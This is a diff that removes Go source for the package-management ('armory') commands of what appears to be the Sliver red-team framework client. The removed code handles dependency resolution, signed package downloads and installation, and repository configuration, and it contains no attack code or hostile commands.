-		return
-	}
-
-	// Find PK for the armory name
-	armoryPK := getArmoryPublicKey(armoryName)
-
-	// If the armory with the name is not found, print a warning
-	if cmd.Flags().Changed("armory") && armoryPK == "" {
-		con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
-	}
-
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	refresh(clientConfig)
-	if name == "all" {
-		aliases, extensions := packageManifestsInCache()
-		aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
-		confirm := false
-		pluralAliases := "es"
-		if aliasCount == 1 {
-			pluralAliases = ""
-		}
-		pluralExtensions := "s"
-		if extCount == 1 {
-			pluralExtensions = ""
-		}
-		prompt := &survey.Confirm{
-			Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
-				aliasCount, pluralAliases, extCount, pluralExtensions,
-			),
-		}
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return
-		}
-		promptToOverwrite = false
-	}
-	err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
-	if err == nil {
-		return
-	}
-	if errors.Is(err, ErrPackageNotFound) {
-		bundles := bundlesInCache()
-		for _, bundle := range bundles {
-			if bundle.Name == name {
-				installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
-				return
-			}
-		}
-		// If we have made it here, then there was not a bundle or package that matched the provided name
-		if armoryPK == "" {
-			con.PrintErrorf("No package or bundle named %q was found\n", name)
-		} else {
-			con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
-		}
-	} else if errors.Is(err, ErrPackageAlreadyInstalled) {
-		con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
-	} else {
-		con.PrintErrorf("Could not install package: %s\n", err)
-	}
-
-}
-
-func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
-	installList := []string{}
-	pendingPackages := make(map[string]string)
-
-	for _, bundlePkgName := range bundle.Packages {
-		packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
-		if err != nil {
-			if errors.Is(err, ErrPackageAlreadyInstalled) {
-				con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
-				continue
-			} else {
-				con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
-				return
-			}
-		}
-		for _, pkgID := range packageInstallList {
-			if !slices.Contains(installList, pkgID) {
-				installList = append(installList, pkgID)
-			}
-		}
-	}
-
-	for _, packageID := range installList {
-		packageEntry := packageCacheLookupByID(packageID)
-		if packageEntry == nil {
-			con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
-			return
-		}
-		if packageEntry.Pkg.IsAlias {
-			err := installAliasPackage(packageEntry, false, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
-				return
-			}
-		} else {
-			err := installExtensionPackage(packageEntry, false, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
-				return
-			}
-		}
-	}
-}
-
-func getInstalledPackageNames() []string {
-	packageNames := []string{}
-
-	installedAliases := assets.GetInstalledAliasManifests()
-	installedExtensions := assets.GetInstalledExtensionManifests()
-
-	for _, aliasFileName := range installedAliases {
-		alias := &alias.AliasManifest{}
-		manifestData, err := os.ReadFile(aliasFileName)
-		if err != nil {
-			continue
-		}
-		err = json.Unmarshal(manifestData, alias)
-		if err != nil {
-			continue
-		}
-		if !slices.Contains(packageNames, alias.CommandName) {
-			packageNames = append(packageNames, alias.CommandName)
-		}
-	}
-
-	for _, extensionFileName := range installedExtensions {
-		extension := &extensions.ExtensionManifest{}
-		manifestData, err := os.ReadFile(extensionFileName)
-		if err != nil {
-			continue
-		}
-		err = json.Unmarshal(manifestData, extension)
-		if err != nil {
-			continue
-		}
-		if len(extension.ExtCommand) == 0 {
-			extensionOld := &extensions.ExtensionManifest_{}
-			// Some extension manifests are using an older version
-			// To maintain compatibility with those extensions, we will
-			// re-unmarshal the data as the older version
-			err = json.Unmarshal(manifestData, extensionOld)
-			if err != nil {
-				continue
-			}
-			if !slices.Contains(packageNames, extensionOld.CommandName) {
-				packageNames = append(packageNames, extensionOld.CommandName)
-			}
-		} else {
-			for _, command := range extension.ExtCommand {
-				if !slices.Contains(packageNames, command.CommandName) {
-					packageNames = append(packageNames, command.CommandName)
-				}
-			}
-		}
-	}
-
-	return packageNames
-}
-
-// This is a convenience function to get the names of the commands in the cache
-func getCommandsInCache() []string {
-	commandNames := []string{}
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.LastErr == nil {
-			if cacheEntry.Pkg.IsAlias {
-				if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
-					commandNames = append(commandNames, cacheEntry.Alias.CommandName)
-				}
-			} else {
-				for _, command := range cacheEntry.Extension.ExtCommand {
-					if !slices.Contains(commandNames, command.CommandName) {
-						commandNames = append(commandNames, command.CommandName)
-					}
-				}
-			}
-		}
-		return true
-	})
-
-	return commandNames
-}
-
-func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
-	packages := []*pkgCacheEntry{}
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.LastErr == nil {
-			if cacheEntry.Pkg.IsAlias {
-				if cacheEntry.Alias.CommandName == name {
-					if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
-						if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
-							packages = append(packages, &cacheEntry)
-						}
-					}
-				}
-			} else {
-				for _, command := range cacheEntry.Extension.ExtCommand {
-					if command.CommandName == name {
-						if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
-							if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
-								packages = append(packages, &cacheEntry)
-							}
-							break
-						}
-					}
-				}
-			}
-		}
-		return true
-	})
-
-	return packages
-}
-
-func getPackageIDFromUser(name string, options map[string]string) string {
-	selectedPackageKey := ""
-	optionKeys := util.Keys(options)
-	slices.Sort(optionKeys)
-	// Add a cancel option
-	optionKeys = append(optionKeys, doNotInstallOption)
-	options[doNotInstallOption] = doNotInstallPackageName
-	prompt := &survey.Select{
-		Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
-		Options: optionKeys,
-	}
-	survey.AskOne(prompt, &selectedPackageKey)
-	selectedPackageID := options[selectedPackageKey]
-
-	return selectedPackageID
-}
-
-func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
-	packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
-
-	if len(packagesWithCommand) > 1 {
-		// Build an option map for the user to choose from (option -> pkgID)
-		optionMap := make(map[string]string)
-		for _, packageEntry := range packagesWithCommand {
-			var optionName string
-			if packageEntry.Pkg.IsAlias {
-				optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
-					name,
-					packageEntry.Alias.Version,
-					packageEntry.ArmoryConfig.Name,
-					packageEntry.Pkg.RepoURL,
-				)
-			} else {
-				optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
-					packageEntry.Pkg.Name,
-					packageEntry.Extension.Version,
-					packageEntry.ArmoryConfig.Name,
-					name,
-					packageEntry.Pkg.RepoURL,
-				)
-			}
-			optionMap[optionName] = packageEntry.ID
-		}
-		selectedPackageID := getPackageIDFromUser(name, optionMap)
-		if selectedPackageID == doNotInstallPackageName {
-			return nil, fmt.Errorf("user cancelled installation")
-		}
-		for _, packageEntry := range packagesWithCommand {
-			if packageEntry.ID == selectedPackageID {
-				return packageEntry, nil
-			}
-		}
-	} else if len(packagesWithCommand) == 1 {
-		return packagesWithCommand[0], nil
-	}
-	return nil, ErrPackageNotFound
-}
-
-func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
-	packageInstallList := []string{}
-	installedPackages := getInstalledPackageNames()
-
-	/*
-		Gather information about what we are working with
-
-		Find all conflicts within aliases for a given name (or all names), same thing with extensions
-		Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
-	*/
-	var requestedPackageList []string
-	if name == "all" {
-		requestedPackageList = []string{}
-		allCommands := getCommandsInCache()
-		for _, cmdName := range allCommands {
-			if !slices.Contains(installedPackages, cmdName) || forceInstallation {
-				// Check to see if there is a package pending with that name
-				if _, ok := pendingPackages[cmdName]; !ok {
-					requestedPackageList = append(requestedPackageList, cmdName)
-				}
-			}
-		}
-	} else {
-		if !slices.Contains(installedPackages, name) || forceInstallation {
-			// Check to see if there is a package pending with that name
-			if _, ok := pendingPackages[name]; !ok {
-				requestedPackageList = []string{name}
-			}
-		} else {
-			return nil, ErrPackageAlreadyInstalled
-		}
-	}
-
-	for _, packageName := range requestedPackageList {
-		if _, ok := pendingPackages[packageName]; ok {
-			// We are already going to install a package with this name, so do not try to resolve it
-			continue
-		}
-		packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
-		if err != nil {
-			return nil, err
-		}
-		if !slices.Contains(packageInstallList, packageEntry.ID) {
-			packageInstallList = append(packageInstallList, packageEntry.ID)
-			pendingPackages[packageName] = packageEntry.ID
-		}
-
-		if !packageEntry.Pkg.IsAlias {
-			dependencies := make(map[string]*pkgCacheEntry)
-			err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
-			if err != nil {
-				return nil, err
-			}
-			for pkgName, packageEntry := range dependencies {
-				if !slices.Contains(packageInstallList, packageEntry.ID) {
-					packageInstallList = append(packageInstallList, packageEntry.ID)
-				}
-				if _, ok := pendingPackages[pkgName]; !ok {
-					pendingPackages[pkgName] = packageEntry.ID
-				}
-			}
-		}
-	}
-
-	return packageInstallList, nil
-}
-
-func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
-	pendingPackages := make(map[string]string)
-	packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
-	if err != nil {
-		return err
-	}
-	if len(packageInstallList) > 0 {
-		for _, packageID := range packageInstallList {
-			entry := packageCacheLookupByID(packageID)
-			if entry == nil {
-				return errors.New("cache consistency error - please refresh the cache and try again")
-			}
-			if entry.Pkg.IsAlias {
-				err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
-				if err != nil {
-					return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
-				}
-			} else {
-				err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
-				if err != nil {
-					return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
-				}
-			}
-		}
-	} else {
-		return ErrPackageNotFound
-	}
-
-	if name == "all" {
-		con.Printf("\n")
-		con.PrintInfof("Operation complete\n")
-	}
-
-	return nil
-}
-
-func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
-	if entry == nil {
-		return errors.New("package not found")
-	}
-	if !entry.Pkg.IsAlias {
-		return errors.New("package is not an alias")
-	}
-	repoURL, err := url.Parse(entry.RepoURL)
-	if err != nil {
-		return err
-	}
-
-	con.PrintInfof("Downloading alias ...")
-
-	var sig *minisign.Signature
-	var tarGz []byte
-	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
-	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
-	}
-	if err != nil {
-		return err
-	}
-
-	var publicKey minisign.PublicKey
-	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
-	rawSig, _ := sig.MarshalText()
-	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
-	if !valid {
-		return errors.New("signature verification failed")
-	}
-
-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
-	if err != nil {
-		return err
-	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	tmpFile.Close()
-
-	con.Printf(console.Clearln + "\r") // Clear the line
-
-	installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
-	if installPath == nil {
-		return errors.New("failed to install alias")
-	}
-
-	menuCmd := con.App.Menu(constants.ImplantMenu).Root()
-
-	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
-	if err != nil {
-		return err
-	}
-	return nil
-}
-
-const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
-
-func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
-	for _, multiExt := range pkg.Extension.ExtCommand {
-		if multiExt.DependsOn == "" {
-			continue // Avoid adding empty dependency
-		}
-
-		if multiExt.DependsOn == pkg.Extension.Name {
-			continue // Avoid infinite loop of something that depends on itself
-		}
-		// We also need to look out for circular dependencies, so if we've already
-		// seen this dependency, we stop resolving
-		if _, ok := deps[multiExt.DependsOn]; ok {
-			continue // Already resolved
-		}
-		// Check to make sure we are not already going to install a package with this name
-		if _, ok := pendingPackages[multiExt.DependsOn]; ok {
-			continue
-		}
-		if maxDepDepth < len(deps) {
-			continue
-		}
-		// Figure out what package we need for the dependency
-		dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
-		if err != nil {
-			return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
-		}
-		deps[multiExt.DependsOn] = dependencyEntry
-		err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
-		if err != nil {
-			return err
-		}
-	}
-	return nil
-}
-
-func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
-	if entry == nil {
-		return errors.New("package not found")
-	}
-	repoURL, err := url.Parse(entry.RepoURL)
-	if err != nil {
-		return err
-	}
-
-	con.PrintInfof("Downloading extension ...")
-
-	var sig *minisign.Signature
-	var tarGz []byte
-	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
-	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
-	}
-	if err != nil {
-		return err
-	}
-
-	var publicKey minisign.PublicKey
-	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
-	rawSig, _ := sig.MarshalText()
-	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
-	if !valid {
-		return errors.New("signature verification failed")
-	}
-
-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
-	if err != nil {
-		return err
-	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	err = tmpFile.Sync()
-	if err != nil {
-		return err
-	}
-
-	con.Printf(console.Clearln + "\r") // Clear download message
-
-	extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
-
-	return nil
-}

client/command/armory/manage.go

@@ -1,653 +0,0 @@
-package armory
-
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-	"slices"
-	"strings"
-	"sync"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-)
-
-func printArmories(con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-
-	tw.AppendHeader(table.Row{
-		"Armory Name",
-		"Authorization Required",
-		"Enabled",
-		"URL",
-	})
-
-	configuredArmories := getCurrentArmoryConfiguration()
-
-	for _, armory := range configuredArmories {
-		var authRequired string
-		var enabled string
-		if armory.Authorization != "" {
-			authRequired = "yes"
-		} else {
-			authRequired = "no"
-		}
-		if armory.Enabled {
-			enabled = "yes"
-		} else {
-			enabled = "no"
-		}
-		tw.AppendRow(table.Row{
-			armory.Name,
-			authRequired,
-			enabled,
-			armory.RepoURL,
-		})
-	}
-
-	con.Printf("%s\n", tw.Render())
-}
-
-func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
-	rows := make([]table.Row, 0)
-	rows = append(rows, table.Row{
-		"Name",
-		armoryInfo.Name,
-	})
-
-	rows = append(rows, table.Row{
-		"Public Key",
-		armoryInfo.PublicKey,
-	})
-
-	enabled := "yes"
-	if !armoryInfo.Enabled {
-		enabled = "no"
-	}
-
-	rows = append(rows, table.Row{
-		"Enabled",
-		enabled,
-	})
-
-	authorizationRequired := "no"
-	if armoryInfo.Authorization != "" {
-		authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
-	}
-	rows = append(rows, table.Row{
-		"Authorization required?",
-		authorizationRequired,
-	})
-	if authorizationRequired != "no" {
-		authCmd := armoryInfo.AuthorizationCmd
-		if authCmd == "" {
-			authCmd = "not configured"
-		}
-		rows = append(rows, table.Row{
-			"Authorization Command",
-			authCmd,
-		})
-	}
-
-	rows = append(rows, table.Row{
-		"URL",
-		armoryInfo.RepoURL,
-	})
-
-	return rows
-}
-
-func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
-	rows := make([]table.Row, 0)
-
-	rows = append(rows, table.Row{
-		"Name",
-		packageInfo.Pkg.Name,
-	})
-
-	rows = append(rows, table.Row{
-		"Command Name",
-		packageInfo.Pkg.CommandName,
-	})
-
-	rows = append(rows, table.Row{
-		"Armory Name",
-		packageInfo.Pkg.ArmoryName,
-	})
-
-	packageType := "alias"
-	if !packageInfo.Pkg.IsAlias {
-		packageType = "extension"
-	}
-	rows = append(rows, table.Row{
-		"Package Type",
-		packageType,
-	})
-	if packageType == "alias" {
-		rows = append(rows, table.Row{
-			"Version",
-			packageInfo.Alias.Version,
-		})
-		rows = append(rows, table.Row{
-			"Author",
-			packageInfo.Alias.OriginalAuthor,
-		})
-		rows = append(rows, table.Row{
-			"Repo URL",
-			packageInfo.Alias.RepoURL,
-		})
-		rows = append(rows, table.Row{
-			"Help",
-			packageInfo.Alias.Help,
-		})
-	} else {
-		rows = append(rows, table.Row{
-			"Version",
-			packageInfo.Extension.Version,
-		})
-		rows = append(rows, table.Row{
-			"Original Author",
-			packageInfo.Extension.OriginalAuthor,
-		})
-		rows = append(rows, table.Row{
-			"Extension Author",
-			packageInfo.Extension.ExtensionAuthor,
-		})
-		rows = append(rows, table.Row{
-			"URL",
-			packageInfo.Extension.RepoURL,
-		})
-		extCommands := []string{}
-		for _, cmd := range packageInfo.Extension.ExtCommand {
-			extCommands = append(extCommands, cmd.CommandName)
-		}
-		rows = append(rows, table.Row{
-			"Contains commands",
-			strings.Join(extCommands, ", "),
-		})
-		rows = append(rows, table.Row{"", ""})
-		rows = append(rows, table.Row{"Command Info", ""})
-		for _, extCmd := range packageInfo.Extension.ExtCommand {
-			rows = append(rows, table.Row{
-				"Command Name",
-				extCmd.CommandName,
-			})
-			rows = append(rows, table.Row{
-				"Dependencies",
-				extCmd.DependsOn,
-			})
-			rows = append(rows, table.Row{
-				"Help",
-				extCmd.Help,
-			})
-			rows = append(rows, table.Row{"", ""})
-		}
-	}
-	rows = append(rows, table.Row{"", ""})
-
-	return rows
-}
-
-func viewDetailedInformation(con *console.SliverClient, entity string) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-
-	tw.AppendHeader(table.Row{
-		"Property",
-		"Value",
-	})
-
-	// See where this name exists in the armory and package indexes
-	armoryResult := armoryLookupByName(entity)
-	if armoryResult != nil {
-		tw.AppendRows(generateRowsForArmory(armoryResult))
-		con.Printf("Armory information for %s\n\n", entity)
-		con.Printf("%s\n", tw.Render())
-		tw.ResetRows()
-		con.Printf("\n")
-	}
-
-	// Get packages with this name
-	packageResult := packageCacheLookupByName(entity)
-	if len(packageResult) > 0 {
-		con.Printf("Packages named %s\n\n", entity)
-		for _, pkg := range packageResult {
-			tw.AppendRows(generateRowsForPackage(pkg))
-			con.Printf("%s\n", tw.Render())
-			tw.ResetRows()
-			con.Printf("\n")
-		}
-	}
-
-	// Get extensions containing commands with this name
-	commandResult := packageCacheLookupByCmd(entity)
-	commandResultFiltered := make([]*pkgCacheEntry, 0)
-	for _, cmd := range commandResult {
-		if !cmd.Pkg.IsAlias {
-			commandResultFiltered = append(commandResultFiltered, cmd)
-		}
-	}
-	if len(commandResultFiltered) > 0 {
-		con.Printf("Packages containing commands named %s\n\n", entity)
-		for _, cmd := range commandResultFiltered {
-			tw.AppendRows(generateRowsForPackage(cmd))
-			con.Printf("%s\n", tw.Render())
-			tw.ResetRows()
-		}
-	}
-
-}
-
-func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	if len(args) == 0 {
-		printArmories(con)
-		return
-	}
-	// If the user wants info on something specific, make sure the caches are up to date
-	refresh(parseArmoryHTTPConfig(cmd))
-	viewDetailedInformation(con, args[0])
-}
-
-func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
-	wg := &sync.WaitGroup{}
-	// Only making one request, so we can limit ourselves to one concurrent request
-	requestChannel := make(chan struct{}, 1)
-	wg.Add(1)
-	requestChannel <- struct{}{}
-	go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
-	wg.Wait()
-
-	result, ok := indexCache.Load(armoryInfo.PublicKey)
-	if !ok {
-		return fmt.Errorf("failed to retrieve armory index")
-	}
-	cacheResult := result.(indexCacheEntry)
-	return cacheResult.LastErr
-}
-
-func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
-	configs := []*assets.ArmoryConfig{}
-	armoryNames := []string{}
-	// If the default armory is in the configuration, force it to be last
-	var defaultConfig *assets.ArmoryConfig
-
-	currentArmories.Range(func(key, value interface{}) bool {
-		armoryEntry := value.(assets.ArmoryConfig)
-		// Skip over the default armory for now
-		if armoryEntry.Name != assets.DefaultArmoryName {
-			configs = append(configs, &armoryEntry)
-			armoryNames = append(armoryNames, armoryEntry.Name)
-		} else {
-			defaultConfig = &armoryEntry
-		}
-		return true
-	})
-
-	if !armoriesInitialized {
-		/*
-			Armories are initialized on the first call to the armory command
-			If armories are added or removed before the first call, we want
-			to make sure we still load in the ones from the configuration
-			file.
-		*/
-		persistentConfigs := assets.GetArmoriesConfig()
-		for _, config := range persistentConfigs {
-			if !slices.Contains(armoryNames, config.Name) {
-				if config.Name == assets.DefaultArmoryName {
-					if defaultArmoryRemoved {
-						continue
-					} else if defaultConfig != nil {
-						// The user potentially changed something about the default config
-						configs = append(configs, defaultConfig)
-						currentArmories.Store(config.PublicKey, *defaultConfig)
-						continue
-					}
-				}
-				configs = append(configs, config)
-				currentArmories.Store(config.PublicKey, *config)
-			}
-		}
-		return configs
-	}
-	if !defaultArmoryRemoved {
-		if defaultConfig != nil {
-			configs = append(configs, defaultConfig)
-		} else {
-			configs = append(configs, assets.DefaultArmoryConfig)
-		}
-	}
-	assets.RefreshArmoryAuthorization(configs)
-	return configs
-}
-
-func armoryNameExists(name string) bool {
-	currentArmoriesConfigured := getCurrentArmoryConfiguration()
-	for _, armory := range currentArmoriesConfigured {
-		if armory.Name == name {
-			return true
-		}
-	}
-
-	return false
-}
-
-func armoryKeyExists(pubKey string) bool {
-	currentArmoriesConfigured := getCurrentArmoryConfiguration()
-	for _, armory := range currentArmoriesConfigured {
-		if armory.PublicKey == pubKey {
-			return true
-		}
-	}
-
-	return false
-}
-
-func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	// Get necessary information
-	url, _ := cmd.Flags().GetString("url")
-	pubKey, _ := cmd.Flags().GetString("pubkey")
-	auth, _ := cmd.Flags().GetString("auth")
-	authCmd, _ := cmd.Flags().GetString("authcmd")
-	noSave, _ := cmd.Flags().GetBool("no-save")
-
-	name := args[0]
-
-	if name == "" {
-		con.PrintErrorf("an armory name is required\n")
-		return
-	}
-	// Make sure we do not already have an armory config with the supplied name
-	if armoryNameExists(name) {
-		con.PrintErrorf("armory %s already exists\n", name)
-		return
-	}
-
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	armoryConfig := assets.ArmoryConfig{
-		PublicKey:        pubKey,
-		RepoURL:          url,
-		Authorization:    auth,
-		AuthorizationCmd: authCmd,
-		Name:             name,
-		Enabled:          true,
-	}
-
-	// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
-	err := verifyArmory(&armoryConfig, clientConfig)
-	if err != nil {
-		con.PrintErrorf("could not add armory: %s\n", err)
-		return
-	}
-	currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
-	if !noSave {
-		configs := getCurrentArmoryConfiguration()
-		err = assets.SaveArmoriesConfig(configs)
-		if err != nil {
-			con.PrintErrorf("Could not save armory configuration: %s\n", err)
-		} else {
-			con.PrintSuccessf("Armory configuration saved\n")
-		}
-	}
-	con.PrintSuccessf("Added armory %s\n", name)
-}
-
-// Get a list of package IDs for an armory by its public key
-func getPackageIDsForArmory(armoryPublicKey string) []string {
-	packageIDs := []string{}
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		pkgEntry := value.(pkgCacheEntry)
-		if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
-			packageIDs = append(packageIDs, pkgEntry.ID)
-		}
-		return true
-	})
-
-	return packageIDs
-}
-
-func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	name := args[0]
-
-	if name == "" {
-		con.PrintErrorf("an armory name is required\n")
-		return
-	}
-
-	armories := getCurrentArmoryConfiguration()
-	deleted := false
-	newConfiguration := []*assets.ArmoryConfig{}
-	for _, armory := range armories {
-		if armory.Name != name {
-			newConfiguration = append(newConfiguration, armory)
-		} else {
-			currentArmories.Delete(armory.PublicKey)
-			indexCache.Delete(armory.PublicKey)
-			/*
-				To delete from the package cache, we will have
-				to gather a list of package IDs for the
-				armory then delete them from the cache.
-			*/
-			armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
-			for _, id := range armoryPackageIDs {
-				pkgCache.Delete(id)
-			}
-			deleted = true
-		}
-	}
-
-	if deleted {
-		con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
-		if name == assets.DefaultArmoryName {
-			defaultArmoryRemoved = true
-		}
-	} else {
-		con.PrintErrorf("Armory %s is not a configured armory\n", name)
-		return
-	}
-
-	err := assets.SaveArmoriesConfig(newConfiguration)
-	if err != nil {
-		con.PrintErrorf("Could not save new armory configuration: %s\n", err)
-	} else {
-		con.PrintSuccessf("Saved armory configuration\n")
-	}
-}
-
-func SaveArmories(con *console.SliverClient) {
-	configs := getCurrentArmoryConfiguration()
-	err := assets.SaveArmoriesConfig(configs)
-	if err != nil {
-		con.PrintErrorf("Could not save armory configuration: %s\n", err)
-	} else {
-		con.PrintSuccessf("Successfully saved armory configuration\n")
-	}
-}
-
-func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
-	armories := getCurrentArmoryConfiguration()
-	var armoryPublicKey string
-	armoryConfig := assets.ArmoryConfig{}
-	for _, armory := range armories {
-		if armory.Name == name {
-			armoryPublicKey = armory.PublicKey
-			break
-		}
-	}
-
-	if armoryPublicKey == "" {
-		return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
-	}
-
-	value, ok := currentArmories.Load(armoryPublicKey)
-	if !ok {
-		return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
-	}
-	armoryConfig = value.(assets.ArmoryConfig)
-	return armoryConfig, nil
-}
-
-func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
-	// Get the armory's public key, change its state, then update the cache to remove packages from the armory
-	var name string
-	if len(args) > 0 && args[0] != "" {
-		name = args[0]
-	} else {
-		con.PrintErrorf("an armory name is required")
-		return
-	}
-
-	armoryConfig, err := getArmoryConfig(name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	armoryPublicKey := armoryConfig.PublicKey
-	armoryConfig.Enabled = enabled
-	currentArmories.Store(armoryPublicKey, armoryConfig)
-
-	if !enabled {
-		// Remove cached info for the armory if it is disabled
-		armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
-		for _, id := range armoryPackageIDs {
-			pkgCache.Delete(id)
-		}
-		indexCache.Delete(armoryPublicKey)
-	}
-	// Force a refresh
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	con.PrintInfof("Refreshing armory information...\n")
-	refresh(clientConfig)
-	SaveArmories(con)
-	con.PrintSuccessf("Done\n")
-}
-
-func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	// Quick check to make sure we were provided with a name
-	var name string
-	if len(args) > 0 && args[0] != "" {
-		name = args[0]
-	}
-	if name == "" {
-		con.PrintErrorf("an armory name is required\n")
-		return
-	}
-
-	// Get the record for the armory
-	armoryConfig, err := getArmoryConfig(name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	// Save the old config so we can delete the existing config
-	// and revert if needed
-	previousConfig := assets.ArmoryConfig{
-		PublicKey:        armoryConfig.PublicKey,
-		RepoURL:          armoryConfig.RepoURL,
-		Authorization:    armoryConfig.Authorization,
-		AuthorizationCmd: armoryConfig.AuthorizationCmd,
-		Name:             armoryConfig.Name,
